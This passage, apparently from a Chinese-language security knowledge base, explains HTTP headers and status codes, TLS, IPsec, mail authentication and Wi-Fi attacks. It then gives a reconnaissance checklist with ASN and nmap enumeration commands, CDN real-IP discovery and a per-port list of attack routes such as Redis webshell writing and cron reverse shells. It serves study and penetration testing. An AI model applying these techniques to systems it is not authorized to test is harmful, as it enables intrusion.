    • User-Agent: Mozilla/5.0 (Linux; X11)
  • Via
    • 通知中间网关或代理服务器地址,通信协议
    • Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
  • Warning
    • 关于消息实体的警告信息
    • Warn: 199 Miscellaneous warning
响应头列表
  • Accept-Ranges
    • 表明服务器是否支持指定范围请求及哪种类型的分段请求
    • Accept-Ranges: bytes
  • Access-Control-Allow-Origin
    • 配置有权限访问资源的域
    • Access-Control-Allow-Origin: <origin>|*
  • Age
    • 从原始服务器到代理缓存形成的估算时间(以秒计,非负)
    • Age: 12
  • Allow
    • 对某网络资源的有效的请求行为,不允许则返回405
    • Allow: GET, HEAD
  • Cache-Control
    • 告诉所有的缓存机制是否可以缓存及哪种类型
    • Cache-Control: no-cache
  • Content-Encoding
    • web服务器支持的返回内容压缩编码类型。
    • Content-Encoding: gzip
  • Content-Language
    • 响应体的语言
    • Content-Language: en,zh
  • Content-Length
    • 响应体的长度
    • Content-Length: 348
  • Content-Location
    • 请求资源可替代的备用的另一地址
    • Content-Location: /index.htm
  • Content-MD5
    • 返回资源的MD5校验值
    • Content-MD5: Q2hlY2sgSW50ZWdyaXR5IQ==
  • Content-Range
    • 在整个返回体中本部分的字节位置
    • Content-Range: bytes 21010-47021/47022
  • Content-Type
    • 返回内容的MIME类型
    • Content-Type: text/html; charset=utf-8
  • Date
    • 原始服务器消息发出的时间
    • Date: Tue, 15 Nov 2010 08:12:31 GMT
  • ETag
    • 请求变量的实体标签的当前值
    • ETag: "737060cd8c284d8af7ad3082f209582d"
  • Expires
    • 响应过期的日期和时间
    • Expires: Thu, 01 Dec 2010 16:00:00 GMT
  • Last-Modified
    • 请求资源的最后修改时间
    • Last-Modified: Tue, 15 Nov 2010 12:45:26 GMT
  • Location
  • Pragma
    • 包括实现特定的指令,它可应用到响应链上的任何接收方
    • Pragma: no-cache
  • Proxy-Authenticate
    • 它指出认证方案和可应用到代理的该URL上的参数
    • Proxy-Authenticate: Basic
  • Refresh
    • 应用于重定向或一个新的资源被创造,在5秒之后重定向(由网景提出,被大部分浏览器支持)
    • Refresh: 5; url=http://www.zcmhi.com/archives/94.html
  • Retry-After
    • 如果实体暂时不可取,通知客户端在指定时间之后再次尝试
    • Retry-After: 120
  • Server
    • web服务器软件名称
    • Server: Apache/1.3.27 (Unix) (Red-Hat/Linux)
  • Set-Cookie
    • 设置Http Cookie Set-Cookie: UserID=JohnDoe; Max-Age=3600; Version=1
  • Strict-Transport-Security
    • 设置浏览器强制使用HTTPS访问
    • max-age: x秒的时间内 访问对应域名都使用HTTPS请求
    • includeSubDomains: 网站的子域名也启用规则
    • Strict-Transport-Security: max-age=1000; includeSubDomains
  • Trailer
    • 指出头域在分块传输编码的尾部存在 Trailer: Max-Forwards
  • Transfer-Encoding
    • 文件传输编码
    • Transfer-Encoding:chunked
  • Vary
    • 告诉下游代理是使用缓存响应还是从原始服务器请求
    • Vary: *
  • Via
    • 告知代理客户端响应是通过哪里发送的
    • Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1)
  • Warning
    • 警告实体可能存在的问题
    • Warning: 199 Miscellaneous warning
  • WWW-Authenticate
    • 表明客户端请求实体应该使用的授权方案
    • WWW-Authenticate: Basic
  • X-Content-Type-Options
    • 配置禁止MIME类型嗅探
    • X-Content-Type-Options: nosniff
  • X-Frame-Options
    • 配置页面是否能出现在 <frame>, <iframe>, <embed>, <object> 等标签中,防止点击劫持
    • X-Frame-Options: deny
  • X-XSS-Protection
    • 配置XSS防护机制
    • X-XSS-Protection: 1; mode=block
HTTP状态返回代码 1xx(临时响应)

表示临时响应并需要请求者继续执行操作的状态代码。

Code 代码 说明
100 继续 服务器返回此代码表示已收到请求的第一部分,正在等待其余部分
101 切换协议 请求者已要求服务器切换协议,服务器已确认并准备切换
HTTP状态返回代码 2xx (成功)

表示成功处理了请求的状态代码。

Code 代码 说明
200 成功 服务器已成功处理了请求。 通常,这表示服务器提供了请求的网页
201 已创建 请求成功并且服务器创建了新的资源
202 已接受 服务器已接受请求,但尚未处理
203 非授权信息 服务器已成功处理了请求,但返回的信息可能来自另一来源
204 无内容 服务器成功处理了请求,但没有返回任何内容
205 重置内容 m服务器成功处理了请求,但没有返回任何内容
206 部分内容 服务器成功处理了部分GET请求
HTTP状态返回代码 3xx (重定向)

表示要完成请求,需要进一步操作。 通常,这些状态代码用来重定向。

Code 代码 说明
300 多种选择 针对请求,服务器可执行多种操作。 服务器可根据请求者 (user agent) 选择一项操作,或提供操作列表供请求者选择。
301 永久移动 请求的网页已永久移动到新位置。 服务器返回此响应(对 GET 或 HEAD 请求的响应)时,会自动将请求者转到新位置。
302 临时移动 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
303 查看其他位置 请求者应当对不同的位置使用单独的 GET 请求来检索响应时,服务器返回此代码。
304 未修改 自从上次请求后,请求的网页未修改过。 服务器返回此响应时,不会返回网页内容。
305 使用代理 请求者只能使用代理访问请求的网页。如果服务器返回此响应,还表示请求者应使用代理。
307 临时重定向 服务器目前从不同位置的网页响应请求,但请求者应继续使用原有位置来进行以后的请求。
HTTP状态返回代码 4xx(请求错误)

这些状态代码表示请求可能出错,妨碍了服务器的处理。

Code 代码 说明
400 错误请求 服务器不理解请求的语法。
401 未授权 请求要求身份验证。对于需要登录的网页,服务器可能返回此响应。
403 禁止 服务器拒绝请求。
404 未找到 服务器找不到请求的网页。
405 方法禁用 禁用请求中指定的方法。
406 不接受 无法使用请求的内容特性响应请求的网页。
407 需要代理授权 此状态代码与 401(未授权)类似,但指定请求者应当授权使用代理。
408 请求超时 服务器等候请求时发生超时。
409 冲突 服务器在完成请求时发生冲突。 服务器必须在响应中包含有关冲突的信息。
410 已删除 如果请求的资源已永久删除,服务器就会返回此响应。
411 需要有效长度 服务器不接受不含有效内容长度标头字段的请求。
412 未满足前提条件 服务器未满足请求者在请求中设置的其中一个前提条件。
413 请求实体过大 服务器无法处理请求,因为请求实体过大,超出服务器的处理能力。
414 请求的 URI 过长 请求的 URI(通常为网址)过长,服务器无法处理。
415 不支持的媒体类型 请求的格式不受请求页面的支持。
416 请求范围不符合要求 如果页面无法提供请求的范围,则服务器会返回此状态代码。
417 未满足期望值 服务器未满足"期望"请求标头字段的要求。
HTTP状态返回代码 5xx(服务器错误)

这些状态代码表示服务器在尝试处理请求时发生内部错误。 这些错误可能是服务器本身的错误,而不是请求出错。

Code 代码 说明
500 服务器内部错误 服务器遇到错误,无法完成请求。
501 尚未实施 服务器不具备完成请求的功能。例如,服务器无法识别请求方法时可能会返回此代码。
502 错误网关 服务器作为网关或代理,从上游服务器收到无效响应。
503 服务不可用 服务器目前无法使用(由于超载或停机维护)。 通常,这只是暂时状态。
504 网关超时 服务器作为网关或代理,但是没有及时从上游服务器收到请求。
505 HTTP 版本不受支持 服务器不支持请求中所用的 HTTP 协议版本。

HTTP 版本

HHTTP

HTTP 是基于 TCP/IP 协议的应用层协议,主要规定了客户端和服务器之间的通信格式,默认使用80端口。

HTTP 0.9

HTTP 0.9最早在1991年发布,仅支持GET命令,请求格式只有简单的 GET /url ,服务端仅响应HTML,响应完毕后关闭TCP连接。

HTTP 1.0

1996年5月,HTTP/1.0 版本发布,丰富了传输的格式和内容,还引入了POST、HEAD两个动词。从1.0开始,必须在尾部添加协议版本。在1.0中,也引入了状态码(status code)、多字符集支持、多部分发送(multi-part type)、权限(authorization)、缓存(cache)、内容编码(content encoding)等内容。

HTTP 1.0 版的主要缺点是,每个TCP连接只能发送一个请求。发送数据完毕,连接就关闭,如果还要请求其他资源,就必须再新建一个连接。

TCP连接的新建成本很高,因为需要客户端和服务器三次握手,并且开始时发送速率较慢(slow start),所以,HTTP 1.0版本的性能比较差。

HTTP 1.1

1997年1月,HTTP/1.1 版本发布,进一步完善了 HTTP 协议。1.1版本主要是引入了持久连接、管道机制、Content-Length、分块传输编码等内容。管道机制即在同一个TCP连接里面,客户端可以同时发送多个请求,这样就改进了HTTP协议的效率。PUT、PATCH、HEAD、 OPTIONS、DELETE等动词方法也是在HTTP 1.1版本引入的。另外1.1版本新增了Host字段,用于指定服务器的域名,这也是后来虚拟主机得以发展的基础。

虽然1.1版允许复用TCP连接,但是同一个TCP连接里面,所有的数据通信是按次序进行的。服务器只有处理完一个回应,才会进行下一个回应。如果有一个请求很慢,就会阻塞后面的请求。

SPDY

2009年,谷歌公开了自行研发的 SPDY 协议,用于解决 HTTP/1.1 效率不高的问题,而后被当做 HTTP/2 的基础。

HTTP/2

2015年,HTTP/2 发布,HTTP/2是一个二进制协议,头信息和数据体都是二进制,统称为帧(frame),帧分为头信息帧和数据帧。HTTP/2 复用TCP连接,在一个连接里,客户端和浏览器都可以同时发送多个请求或回应,而且不用按照顺序回应。

HTTPS

简介

HTTPS (HyperText Transfer Protocol over Secure Socket Layer)可以理解为HTTP+SSL/TLS, 即 HTTP 下加入 SSL 层,HTTPS 的安全基础是 SSL。

交互
证书验证阶段
  • 浏览器发起 HTTPS 请求
  • 服务端返回 HTTPS 证书
    • 其中证书包含:
      • 颁发机构信息
      • 公钥
      • 公司信息
      • 域名
      • 有效期
      • 指纹
  • 客户端验证证书是否合法,如果不合法则提示告警
数据传输阶段
  • 当证书验证合法后,在本地生成随机数
  • 通过公钥加密随机数,并把加密后的随机数传输到服务端
  • 服务端通过私钥对随机数进行解密
  • 服务端通过客户端传入的随机数构造对称加密算法,对返回结果内容进行加密后传输
CA

CA (Certificate Authority) 是颁发数字证书的机构。是负责发放和管理数字证书的权威机构,并作为电子商务交易中受信任的第三方,承担公钥体系中公钥的合法性检验的责任。

WebDAV

简介

WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定、解锁,以及版本控制等功能。

支持的方法具体为:

  • OPTIONS
    • 获取服务器的支持
  • GET / PUT / POST / DELETE
    • 资源操作
  • TRACE
    • 跟踪服务器
  • HEAD
  • MKCOL
    • 创建集合
  • PROPFIND / PROPPATCH
  • COPY / MOVE
  • LOCK / UNLOCK
相关CVE

参考链接

RFC
  • RFC 3253 Versioning Extensions to WebDAV (Web Distributed Authoring and Versioning)
  • RFC 3648 Web Distributed Authoring and Versioning (WebDAV) Ordered Collections Protocol
  • RFC 3744 Web Distributed Authoring and Versioning (WebDAV) Access Control Protocol
  • RFC 4437 Web Distributed Authoring and Versioning (WebDAV) Redirect Reference Resources
  • RFC 4918 HTTP Extensions for Web Distributed Authoring and Versioning (WebDAV)
  • RFC 5323 Web Distributed Authoring and Versioning (WebDAV) SEARCH
  • RFC 5842 Binding Extensions to Web Distributed Authoring and Versioning (WebDAV)

邮件协议族

简介

SMTP

SMTP (Simple Mail Transfer Protocol) 是一种电子邮件传输的协议,是一组用于从源地址到目的地址传输邮件的规范。不启用SSL时端口号为25,启用SSL时端口号多为465或994。

POP3

POP3 (Post Office Protocol 3) 用于支持使用客户端远程管理在服务器上的电子邮件。不启用SSL时端口号为110,启用SSL时端口号多为995。

IMAP

IMAP (Internet Mail Access Protocol),即交互式邮件存取协议,它是跟POP3类似邮件访问标准协议之一。不同的是,开启了IMAP后,您在电子邮件客户端收取的邮件仍然保留在服务器上,同时在客户端上的操作都会反馈到服务器上,如:删除邮件,标记已读等,服务器上的邮件也会做相应的动作。不启用SSL时端口号为143,启用SSL时端口号多为993。

防护策略

SPF

发件人策略框架 (Sender Policy Framework, SPF) 是一套电子邮件认证机制,用于确认电子邮件是否由网域授权的邮件服务器寄出,防止有人伪冒身份网络钓鱼或寄出垃圾邮件。SPF允许管理员设定一个DNS TXT记录或SPF记录设定发送邮件服务器的IP范围,如有任何邮件并非从上述指明授权的IP地址寄出,则很可能该邮件并非确实由真正的寄件者寄出。

DKIM

域名密钥识别邮件 (DomainKeys Identified Mail, DKIM) 是一种检测电子邮件发件人地址伪造的方法。发送方会在邮件的头中插入DKIM-Signature,收件方通过查询DNS记录中的公钥来验证发件人的信息。

DMARC

基于网域的消息认证、报告和一致性 (Domain-based Message Authentication, Reporting and Conformance, DMARC) 是电子邮件身份验证协议,用于解决在邮件栏中显示的域名和验证的域名不一致的问题。要通过 DMARC 检查,必须通过 SPF 或/和 DKIM 的身份验证,且需要标头地址中的域名必须与经过身份验证的域名一致。

SSL/TLS

简介

SSL全称是Secure Sockets Layer,安全套接字层,它是由网景公司(Netscape)在1994年时设计,主要用于Web的安全传输协议,目的是为网络通信提供机密性、认证性及数据完整性保障。如今,SSL已经成为互联网保密通信的工业标准。

SSL最初的几个版本(SSL 1.0、SSL2.0、SSL 3.0)由网景公司设计和维护,从3.1版本开始,SSL协议由因特网工程任务小组(IETF)正式接管,并更名为TLS(Transport Layer Security),发展至今已有TLS 1.0、TLS1.1、TLS1.2、TLS1.3这几个版本。

如TLS名字所说,SSL/TLS协议仅保障传输层安全。同时,由于协议自身特性(数字证书机制),SSL/TLS不能被用于保护多跳(multi-hop)端到端通信,而只能保护点到点通信。

SSL/TLS协议能够提供的安全目标主要包括如下几个:

  • 认证性
    • 借助数字证书认证服务端端和客户端身份,防止身份伪造
  • 机密性
    • 借助加密防止第三方窃听
  • 完整性
    • 借助消息认证码(MAC)保障数据完整性,防止消息篡改
  • 重放保护
    • 通过使用隐式序列号防止重放攻击

为了实现这些安全目标,SSL/TLS协议被设计为一个两阶段协议,分为握手阶段和应用阶段:

握手阶段也称协商阶段,在这一阶段,客户端和服务端端会认证对方身份(依赖于PKI体系,利用数字证书进行身份认证),并协商通信中使用的安全参数、密码套件以及MasterSecret。后续通信使用的所有密钥都是通过MasterSecret生成。 在握手阶段完成后,进入应用阶段。在应用阶段通信双方使用握手阶段协商好的密钥进行安全通信。

协议

TLS 包含几个子协议,比较常用的有记录协议、警报协议、握手协议、变更密码规范协议等。

记录协议

记录协议(Record Protocol)规定了 TLS 收发数据的基本单位记录(record)。

警报协议

警报协议(Alert Protocol)用于提示协议交互过程出现错误。

握手协议

握手协议(Handshake Protocol)是 TLS 里最复杂的子协议,在握手过程中协商 TLS 版本号、随机数、密码套件等信息,然后交换证书和密钥参数,最终双方协商得到会话密钥,用于后续的混合加密系统。

变更密码规范协议

变更密码规范协议(Change Cipher Spec Protocol)是一个“通知”,告诉对方,后续的数据都将使用加密保护。

交互过程

Client Hello

Client Hello 由客户端发送,内容包括客户端的一个Unix时间戳(GMT Unix Time)、一些随机的字节(Random Bytes),还包括了客户端接受的算法类型(Cipher Suites)。

Server Hello

Server Hello 由服务端发送,内容包括服务端支持的算法类型、GMT Unix Time以及Random Bytes。

Certificate

由服务端或者客户端发送,发送方会会将自己的数字证书发送给接收方,由接收方进行证书验证,如果不通过的话,接收方会中断握手的过程。一般跟在Client / Server Hello报文之后。

Server Key Exchange

由服务端发送,将自己的公钥参数传输给了客户端,一般也和Server Hello与Certificate在一个TCP报文中。

Server Hello Done

服务端发送,一般也和Server Hello、Certificate和Server Key Exchange在一个TCP报文中。

Client Key Exchange

客户端发送,向服务端发送自己的公钥参数,与服务端协商密钥。

Change Cipher Spec

客户端或者服务端发送,紧跟着Key Exchange发送,代表自己生成了新的密钥,通知对方以后将更换密钥,使用新的密钥进行通信。

Encrypted Handshake Message

客户端或者服务端发送,紧跟着Key Exchange发送。进行测试,一方用自己的刚刚生成的密钥加密一段固定的消息发送给对方,如果密钥协商正确无误的话,对方可以正确解密。

New Session Ticket

服务端发送,表示发起会话,在一段时间之内(超时时间到来之前),双方都以刚刚交换的密钥进行通信。从这以后,加密通信正式开始。

Application Data

使用密钥交换协议协商出来的密钥加密的应用层的数据。

Encrypted Alert

客户端或服务端发送,意味着加密通信因为某些原因需要中断,警告对方不要再发送敏感的数据。

版本更新内容

TLS 1.3
  • 引入了PSK作为新的密钥协商机制
  • 支持 0-RTT 模式,以安全性降低为代价,在建立连接时节省了往返时间
  • ServerHello 之后的所有握手消息采取了加密操作,可见明文减少
  • 不再允许对加密报文进行压缩、不再允许双方发起重协商
  • DSA 证书不再允许在 TLS 1.3 中使用
  • 删除不安全的密码算法
    • RSA 密钥传输 - 不支持前向安全性
    • CBC 模式密码 - 易受 BEAST 和 Lucky 13 攻击
    • RC4 流密码 - 在 HTTPS 中使用并不安全
    • SHA-1 哈希函数 - 建议以 SHA-2 取而代之
    • 任意 Diffie-Hellman 组- CVE-2016-0701 漏洞
    • 输出密码 - 易受 FREAK 和 LogJam 攻击

子协议

SSL/TLS协议有一个高度模块化的架构,分为很多子协议,主要是:

  • Handshake 协议
    • 包括协商安全参数和密码套件、服务端身份认证(客户端身份认证可选)、密钥交换
  • ChangeCipherSpec 协议
    • 一条消息表明握手协议已经完成
  • Alert 协议
    • 对握手协议中一些异常的错误提醒,分为fatal和warning两个级别,fatal类型的错误会直接中断SSL链接,而warning级别的错误SSL链接仍可继续,只是会给出错误警告
  • Record 协议
    • 包括对消息的分段、压缩、消息认证和完整性保护、加密等

IPsec

简介

IPsec(IP Security)是IETF制定的三层隧道加密协议,它为Internet上传输的数据提供了高质量的、可互操作的、基于密码学的安全保证。特定的通信方之间在IP层通过加密与数据源认证等方式,提供了以下的安全服务:

  • 数据机密性(Confidentiality)
    • IPsec发送方在通过网络传输包前对包进行加密。
  • 数据完整性(Data Integrity)
    • IPsec接收方对发送方发送来的包进行认证,以确保数据在传输过程中没有被篡改。
  • 数据来源认证(Data Authentication)
    • IPsec在接收端可以认证发送IPsec报文的发送端是否合法。
  • 防重放(Anti-Replay)
    • IPsec接收方可检测并拒绝接收过时或重复的报文。

优点

IPsec具有以下优点:

  • 支持IKE(Internet Key Exchange,因特网密钥交换),可实现密钥的自动协商功能,减少了密钥协商的开销。可以通过IKE建立和维护SA的服务,简化了IPsec的使用和管理。
  • 所有使用IP协议进行数据传输的应用系统和服务都可以使用IPsec,而不必对这些应用系统和服务本身做任何修改。
  • 对数据的加密是以数据包为单位的,而不是以整个数据流为单位,这不仅灵活而且有助于进一步提高IP数据包的安全性,可以有效防范网络攻击。

构成

IPsec由四部分内容构成:

  • 负责密钥管理的Internet密钥交换协议IKE(Internet Key Exchange Protocol)
  • 负责将安全服务与使用该服务的通信流相联系的安全关联SA(Security Associations)
  • 直接操作数据包的认证头协议AH(IP Authentication Header)和安全载荷协议ESP(IP Encapsulating Security Payload)
  • 若干用于加密和认证的算法

安全联盟(Security Association,SA)

IPsec在两个端点之间提供安全通信,端点被称为IPsec对等体。

SA是IPsec的基础,也是IPsec的本质。SA是通信对等体间对某些要素的约定,例如,使用哪种协议(AH、ESP还是两者结合使用)、协议的封装模式(传输模式和隧道模式)、加密算法(DES、3DES和AES)、特定流中保护数据的共享密钥以及密钥的生存周期等。建立SA的方式有手工配置和IKE自动协商两种。

SA是单向的,在两个对等体之间的双向通信,最少需要两个SA来分别对两个方向的数据流进行安全保护。同时,如果两个对等体希望同时使用AH和ESP来进行安全通信,则每个对等体都会针对每一种协议来构建一个独立的SA。

SA由一个三元组来唯一标识,这个三元组包括SPI(Security Parameter Index,安全参数索引)、目的IP地址、安全协议号(AH或ESP)。

SPI是用于唯一标识SA的一个32比特数值,它在AH和ESP头中传输。在手工配置SA时,需要手工指定SPI的取值。使用IKE协商产生SA时,SPI将随机生成。

IKE

IKE(RFC2407,RFC2408、RFC2409)属于一种混合型协议,由Internet安全关联和密钥管理协议(ISAKMP)和两种密钥交换协议OAKLEY与SKEME组成。IKE创建在由ISAKMP定义的框架上,沿用了OAKLEY的密钥交换模式以及SKEME的共享和密钥更新技术,还定义了它自己的两种密钥交换方式。

IKE使用了两个阶段的ISAKMP:

第一阶段,协商创建一个通信信道(IKE SA),并对该信道进行验证,为双方进一步的IKE通信提供机密性、消息完整性以及消息源验证服务; 第二阶段,使用已建立的IKE SA建立IPsec SA(V2中叫Child SA)。

Wi-Fi

简介

Wi-Fi又称“无线热点”或“无线网络”,是Wi-Fi联盟的商标,一个基于IEEE 802.11标准的无线局域网技术。

攻击

暴力破解

WiFi密码是基于预置的秘钥,可以通过抓取报文的方式在本地快速的批量进行密码爆破尝试。

伪造热点

AP可以动态的广播自己,客户也可以主动发送探针请求。可以伪造AP发送对探针请求的响应包,来让客户端错误的识别。

秘钥重装攻击

该漏洞由Vanhoef发现。Wi-Fi在握手时双方会更新秘钥,该攻击通过重放握手信息,令客户端重新安装相同的秘钥。

Dragonblood

最新版的WPA3标准在实现上存在一些问题,同样由Vanhoef发现。包含拒绝服务攻击、降级攻击、侧信道泄露等。

信息收集

网络入口/信息

  • 网络拓扑信息
    • 外网出口
  • IP信息
    • C段
  • 线下网络
    • Wi-Fi
      • SSID
      • 认证信息
  • VPN
    • 厂商
    • 登录方式
  • 邮件网关
  • 手机APP
  • 小程序后台
  • SSO
  • 边界网络设备
  • 上游运营商

域名信息

Whois

Whois 可以查询域名是否被注册,以及注册域名的详细信息的数据库,其中可能会存在一些有用的信息,例如域名所有人、域名注册商、邮箱等。

搜索引擎搜索

搜索引擎通常会记录域名信息,可以通过 site: domain 的语法来查询。

第三方查询

网络中有相当多的第三方应用提供了子域的查询功能,下面有一些例子,更多的网站可以在 8.1 工具列表 中查找。

ASN信息关联

在网络中一个自治系统 (Autonomous System, AS) 是一个有权自主地决定在本系统中应采用何种路由协议的小型单位。这个网络单位可以是一个简单的网络也可以是一个由一个或多个普通的网络管理员来控制的网络群体,它是一个单独的可管理的网络单元 (例如一所大学,一个企业或者一个公司个体) 。

一个自治系统有时也被称为是一个路由选择域 (routing domain) 。一个自治系统将会分配一个全局的唯一的16位号码,这个号码被称为自治系统号 (ASN) 。因此可以通过ASN号来查找可能相关的IP,例如:

whois -h whois.radb.net -- '-i origin AS111111' | grep -Eo "([0-9.]+){4}/[0-9]+" | uniq
nmap --script targets-asn --script-args targets-asn.asn=15169

域名相关性

同一个企业/个人注册的多个域名通常具有一定的相关性,例如使用了同一个邮箱来注册、使用了同一个备案、同一个负责人来注册等,可以使用这种方式来查找关联的域名。一种操作步骤如下:

  • 查询域名注册邮箱
  • 通过域名查询备案号
  • 通过备案号查询域名
  • 反查注册邮箱
  • 反查注册人
  • 通过注册人查询到的域名在查询邮箱
  • 通过上一步邮箱去查询域名
  • 查询以上获取出的域名的子域名

网站信息利用

网站中有相当多的信息,网站本身、各项安全策略、设置等都可能暴露出一些信息。

网站本身的交互通常不囿于单个域名,会和其他子域交互。对于这种情况,可以通过爬取网站,收集站点中的其他子域信息。这些信息通常出现在JavaScript文件、资源文件链接等位置。

网站的安全策略如跨域策略、CSP规则等通常也包含相关域名的信息。有时候多个域名为了方便会使用同一个SSL/TLS证书,因此有时可通过证书来获取相关域名信息。

证书透明度

为了保证HTTPS证书不会被误发或伪造,CA会将证书记录到可公开验证、不可篡改且只能附加内容的日志中,任何感兴趣的相关方都可以查看由授权中心签发的所有证书。因此可以通过查询已授权证书的方式来获得相关域名。

域传送漏洞

DNS域传送 (zone transfer) 指的是冗余备份服务器使用来自主服务器的数据刷新自己的域 (zone) 数据库。这是为了防止主服务器因意外不可用时影响到整个域名的解析。

一般来说,域传送操作应该只允许可信的备用DNS服务器发起,但是如果错误配置了授权,那么任意用户都可以获得整个DNS服务器的域名信息。这种错误授权被称作是DNS域传送漏洞。

Passive DNS

Passive DNS被动的从递归域名服务器记录来自不同域名服务器的响应,形成数据库。利用Passive DNS数据库可以知道域名曾绑定过哪些IP,IP曾关联到哪些域名,域名最早/最近出现的时间,为测试提供较大的帮助。Virustotal、passivetotal、CIRCL等网站都提供了Passive DNS数据库的查询。

泛解析

泛解析是把 *.example.com 的所有A记录都解析到某个IP 地址上,在子域名枚举时需要处理这种情况以防生成大量无效的记录。

重要记录

CNAME

CNAME即Canonical name,又称alias,将域名指向另一个域名。其中可能包含其他关联业务的信息。很多网站使用的CDN加速功能利用了该记录。

MX记录

MX记录即Mail Exchanger,记录了发送电子邮件时域名对应的服务器地址。可以用来寻找SMTP服务器信息。

NS记录

NS (Name Server) 记录是域名服务器的记录,用来指定域名由哪个DNS服务器来进行解析。

SPF记录

SPF (Sender Policy Framework) 是为了防止垃圾邮件而提出来的一种DNS记录类型,是一种TXT类型的记录,用于登记某个域名拥有的用来外发邮件的所有IP地址。通过SPF记录可以获取相关的IP信息。

CDN

CDN验证

可通过多地ping的方式确定目标是否使用了CDN,常用的网站有 http://ping.chinaz.com/ https://asm.ca.com/en/ping.php 等。

域名查找

使用了CDN的域名的父域或者子域名不一定使用了CDN,可以通过这种方式去查找对应的IP。

历史记录查找

CDN可能是在网站上线一段时间后才上线的,可以通过查找域名解析记录的方式去查找真实IP。

邮件信息

通过社会工程学的方式进行邮件沟通,从邮件头中获取IP地址,IP地址可能是网站的真实IP或者是目标的出口IP。

子域爆破

在内网等不易用到以上技巧的环境,或者想监测新域名上线时,可以通过批量尝试的方式,找到有效的域名。

端口信息

常见端口及其脆弱点

  • FTP (21/TCP)
    • 默认用户名密码 anonymous:anonymous
    • 暴力破解密码
    • VSFTP某版本后门
  • SSH (22/TCP)
    • 部分版本SSH存在漏洞可枚举用户名
    • 暴力破解密码
  • Telent (23/TCP)
    • 暴力破解密码
    • 嗅探抓取明文密码
  • SMTP (25/TCP)
    • 无认证时可伪造发件人
  • DNS (53/UDP)
    • 域传送漏洞
    • DNS劫持
    • DNS缓存投毒
    • DNS欺骗
    • SPF / DMARC Check
    • DDoS
      • DNS Query Flood
      • DNS 反弹
    • DNS 隧道
  • DHCP 67/68
    • 劫持/欺骗
  • TFTP (69/TCP)
  • HTTP (80/TCP)
  • Kerberos (88/TCP)
    • 主要用于监听KDC的票据请求
    • 用于进行黄金票据和白银票据的伪造
  • POP3 (110/TCP)
    • 爆破
  • RPC (135/TCP)
    • wmic 服务利用
  • NetBIOS (137/UDP & 138/UDP)
    • 未授权访问
    • 弱口令
  • NetBIOS / Samba (139/TCP)
    • 未授权访问
    • 弱口令
  • SNMP (161/TCP)
    • Public 弱口令
  • LDAP (389/TCP)
    • 用于域上的权限验证服务
    • 匿名访问
    • 注入
  • HTTPS (443/TCP)
  • SMB (445/TCP)
    • Windows 协议簇,主要功能为文件共享服务
    • net use \\192.168.1.1 /user:xxx\username password
  • Linux Rexec (512/TCP & 513/TCP & 514/TCP)
    • 弱口令
  • Rsync (873/TCP)
    • 未授权访问
  • RPC (1025/TCP)
    • NFS匿名访问
  • Java RMI (1090/TCP & 1099/TCP)
    • 反序列化远程命令执行漏洞
  • MSSQL (1433/TCP)
    • 弱密码
    • 差异备份 GetShell
    • SA 提权
  • Oracle (1521/TCP)
    • 弱密码
  • NFS (2049/TCP)
    • 权限设置不当
    • showmount <host>
  • ZooKeeper (2171/TCP & 2375/TCP)
    • 无身份认证
  • Docker Remote API (2375/TCP)
    • 未限制IP / 未启用TLS身份认证
    • http://docker.addr:2375/version
  • MySQL (3306/TCP)
    • 弱密码
    • 日志写WebShell
    • UDF提权
    • MOF提权
  • RDP / Terminal Services (3389/TCP)
    • 弱密码
  • Postgres (5432/TCP)
    • 弱密码
    • 执行系统命令
  • VNC (5900/TCP)
    • 弱密码
  • CouchDB (5984/TCP)
    • 未授权访问
  • WinRM (5985/TCP)
    • Windows对WS-Management的实现
    • 在Vista上需要手动启动,在Windows Server 2008中服务是默认开启的
  • Redis (6379/TCP)
    • 无密码或弱密码
    • 绝对路径写 WebShell
    • 计划任务反弹 Shell
    • 写 SSH 公钥
    • 主从复制 RCE
    • Windows 写启动项
  • Kubernetes API Server (6443/TCP && 10250/TCP)
    • https://Kubernetes:10250/pods
  • JDWP (8000/TCP)
    • 远程命令执行
  • ActiveMQ (8061/TCP)
  • Jenkin (8080/TCP)
    • 未授权访问
  • Elasticsearch (9200/TCP)
    • 代码执行
    • http://es.addr:9200/_plugin/head/
    • http://es.addr:9200/_nodes
  • Memcached (11211/TCP)
    • 未授权访问
  • RabbitMQ (15672/TCP & 15692/TCP & 25672/TCP)
  • MongoDB (27017/TCP)
    • 无密码或弱密码
  • Hadoop (50070/TCP & 50075/TCP)
    • 未授权访问

除了以上列出的可能出现的问题,暴露在公网上的服务若不是最新版,都可能存在已经公开的漏洞

常见端口扫描技术

全扫描

扫描主机尝试使用三次握手与目标主机的某个端口建立正规的连接,若成功建立连接,则端口处于开放状态,反之处于关闭状态。

全扫描实现简单,且以较低的权限就可以进行该操作。但是在流量日志中会有大量明显的记录。

半扫描

在半扫描中,仅发送SYN数据段,如果应答为RST,则端口处于关闭状态,若应答为SYN/ACK,则端口处于监听状态。不过这种方式需要较高的权限,而且部分防火墙已经开始对这种扫描方式做处理。

FIN扫描

FIN扫描是向目标发送一个FIN数据包,如果是开放的端口,会返回RST数据包,关闭的端口则不会返回数据包,可以通过这种方式来判断端口是否打开。

这种方式并不在TCP三次握手的状态中,所以不会被记录,相对SYN扫描要更隐蔽一些。

Web服务

  • Jenkins
    • 未授权访问
  • Gitlab
    • 对应版本CVE
  • Zabbix
    • 权限设置不当

批量搜索

  • Censys
  • Shodan
  • ZoomEye

站点信息

  • 判断网站操作系统
    • Linux大小写敏感
    • Windows大小写不敏感
  • 扫描敏感文件
    • robots.txt
    • crossdomain.xml
    • sitemap.xml
    • xx.tar.gz
    • xx.bak
  • 确定网站采用的语言
    • 如PHP / Java / Python等
    • 找后缀,比如php/asp/jsp
  • 前端框架
    • 如jQuery / BootStrap / Vue / React / Angular等
    • 查看源代码
  • 中间服务器
    • 如 Apache / Nginx / IIS 等
    • 查看header中的信息
    • 根据报错信息判断
    • 根据默认页面判断
  • Web容器服务器
    • 如Tomcat / Jboss / Weblogic等
  • 后端框架
    • 根据Cookie判断
    • 根据CSS / 图片等资源的hash值判断
    • 根据URL路由判断
      • 如wp-admin
    • 根据网页中的关键字判断
    • 根据响应头中的X-Powered-By
  • CDN信息
    • 常见的有Cloudflare、yunjiasu
